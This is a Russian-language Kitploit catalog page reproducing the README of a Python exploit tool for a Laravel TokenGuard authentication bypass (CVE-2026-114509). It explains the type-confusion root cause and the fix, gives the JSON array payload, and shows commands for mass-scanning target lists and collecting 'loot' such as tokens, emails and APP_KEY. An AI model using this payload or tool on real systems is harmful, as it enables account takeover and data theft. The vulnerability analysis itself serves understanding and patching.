Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-114509 — Обход аутентификации Laravel TokenGuard через нестроковые учётные данные API | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-114509
РазведкаСканеры уязвимостейСканеры веб-уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииПост-эксплуатацияТестирование на ПроникновениеАутентификация
GitHubnxploited/cve-2026-114509

CVE-2026-114509

820 ч 26 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Обход аутентификации Laravel TokenGuard через нестроковые учётные данные API

Репозиторий
Поделиться

CVE-2026-114509

Обход аутентификации Laravel TokenGuard через нестроковые учётные данные API

🔴 CVE-2026-114509 — обход аутентификации Laravel TokenGuard

Обход аутентификации без аутентификации в Laravel Framework — API-гард TokenGuard


📋 Обзор

CVE-2026-114509 — это критическая уязвимость обхода аутентификации во встроенном TokenGuard Laravel Framework.

При конфигурации со стандартным API-гардом на основе токенов на MySQL или MariaDB неаутентифицированный атакующий может отправить специально сформированные нестроковые учётные данные (JSON-массив), что приводит к тому, что при поиске аутентификации совпадает непредусмотренный существующий пользователь — предоставляя полный доступ без знания какого-либо действительного API-токена.

Это приводит к полному захвату учётной записи на любом маршруте, защищённом уязвимым гардом.


🛡️ Сведения об уязвимости

ПолеСведения
CVE IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
Уязвимое ПОLaravel Framework (laravel/framework)
Уязвимые версии< 12.68.0 и >= 13.0.0, < 13.29.0
ТипОбход аутентификации
CWECWE-287 — Некорректная аутентификация
CWECWE-1287 — Некорректная проверка указанного типа входных данных
Оценка CVSS 4.09.2 / 10 — КРИТИЧЕСКАЯ
Вектор CVSSCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
АутентификацияНе требуется (Pre-Auth)
УсловиеБэкенд MySQL / MariaDB
Патчv12.68.0 / v13.29.0

⚙️ Разбор CVSS 4.0

МетрикаЗначениеЗначение
Вектор атакиСетевойЭксплуатируется удалённо через интернет
Сложность атакиНизкаяНикаких особых условий, кроме MySQL/MariaDB
Требования к атакеПрисутствуютТребуется поведение приведения типов MySQL/MariaDB
Требуемые привилегииОтсутствуютАутентификация не требуется
Взаимодействие с пользователемОтсутствуетДействия жертвы не требуются
КонфиденциальностьВысокаяПолный доступ на чтение данных аутентифицированного пользователя
ЦелостностьВысокаяМожет изменять данные от имени обойдённого пользователя
ДоступностьВысокаяМожет нарушить работу сервиса через захват учётной записи

🔬 Технический анализ

Первопричина

Это ошибка путаницы типов на границе между разбором HTTP-запроса, логикой PHP-фреймворка и поведением SQL-базы данных. Три обычных поведения складываются, создавая уязвимость:

  1. TokenGuard принимает нестроковый ввод — Метод user() в TokenGuard.php использует !empty($token) вместо is_string($token) && !empty($token). Тела JSON-запросов могут передавать массивы или целые числа в качестве значения токена.

  2. EloquentUserProvider строит запрос WHERE IN — Когда retrieveByCredentials() получает значение-массив, он генерирует WHERE api_token IN (...) вместо WHERE api_token = ....

  3. Приведение типов MySQL — MySQL преобразует строковые столбцы в числа для сравнения. Целое число 0 совпадает с любой строкой, которая не начинается с цифры (а это большинство API-токенов), поскольку MySQL приводит такие строки к 0.0.

Цепочка эксплуатации

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

Вектор атаки

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

Исправление

Laravel исправил TokenGuard.php, добавив проверку типа — если токен не является строкой, guard немедленно возвращает null и никогда не вызывает провайдер пользователей:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 Использование

Требования

  • Python 3.7+
  • requests
  • rich (для цветного вывода в терминале)

Установка

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

Режимы

Инструмент поддерживает два режима: массовое сканирование и глубокое зондирование одной цели.


🔍 Режим 1: Массовое сканирование

Сканирование списка целей на наличие уязвимости:

python CVE-2026-114509.py scan targets.txt

Параметры:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
ФлагПо умолчаниюОписание
targets(обязательно)Файл с целевыми URL (по одному в строке)
--threads60Количество параллельных потоков
--timeout12Тайм-аут запроса в секундах

Формат файла целей (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

Цели без указания схемы по умолчанию используют https://.

Выходные файлы (создаются в каталоге скрипта):

ФайлСодержимое
LV_DETECTED.txtВсе обнаруженные приложения Laravel
LV_BYPASS.txtПодтверждённые обходы аутентификации
LV_UPLOAD.txtРезультаты попыток загрузки
LV_LOOT.txtИзвлечённые данные (токены, email-адреса, APP_KEY, данные пользователей)

🎯 Режим 2: Одна цель

Глубокое зондирование одной цели с подробным выводом:

python CVE-2026-114509.py single https://target.com

Параметры:

python CVE-2026-114509.py single https://target.com --timeout 15

Он последовательно выполняет все четыре фазы с подробным выводом:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401
Скачать инструмент